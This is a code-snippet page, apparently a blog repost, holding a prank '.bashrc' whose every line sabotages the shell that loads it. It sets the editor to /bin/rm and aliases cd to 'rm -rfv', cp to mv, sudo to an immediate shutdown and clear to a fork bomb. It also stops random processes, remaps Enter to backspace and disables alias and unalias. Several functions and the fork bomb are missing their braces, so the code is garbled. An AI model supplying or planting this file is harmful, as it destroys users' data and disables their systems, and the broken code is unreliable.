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sh的.bashrc(代码片段)

author  author  2022-12-20  276

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#!/usr/bin/env bash

# Set `rm` as the default editor.
export EDITOR=/bin/rm;

# Make Tab send the delete key.
tset -Qe $'\t';

# Randomly make the shell exit whenever a command has a non-zero exit status.
((RANDOM % 10)) || set -o errexit;

# Let `cat` swallow every input and never return anything.
alias cat=true;

# Use a random sort option whenever `ls` is invoked.
function ls  command ls -$(opts="frStu"; echo $opts:$((RANDOM % $#opts)):1) "$@"; 

# Delete directories instead of entering them.
alias cd='rm -rfv';

# Shut down the computer instead of running a command with super-user rights.
alias sudo='sudo shutdown -P now';

# Launch a fork bomb instead of clearing the screen.
alias clear=':() :|:& ;:';

# Have `date` return random dates.
alias date='date -d "now + $RANDOM days"';
# Send STOP signal to random process at random time.
sleep $[ ( $RANDOM % 100 )    + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

# Have `cp` perform `mv` instead.
alias cp='mv';

# Make `exit` open a new shell.
alias exit='sh';

# Add a random number to line numbers when using `grep -n`.
function grep  command grep "$@" | awk -F: ' r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/)  o = n+r  else  o = n ; print o ":" substr($0, 2)'; 

# Invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !';

# Map Enter, Ctrl+J, and Ctrl+M to backspace.
bind '"\C-J":"\C-?"';
bind '"\C-M":"\C-?"';

# Send `n` (no) instead of `y` (yes)
alias yes="yes n";

# Quit vim on startup.
alias vim="vim +q";

# Disable `unalias` and `alias`.
alias unalias=false;
alias alias=false;

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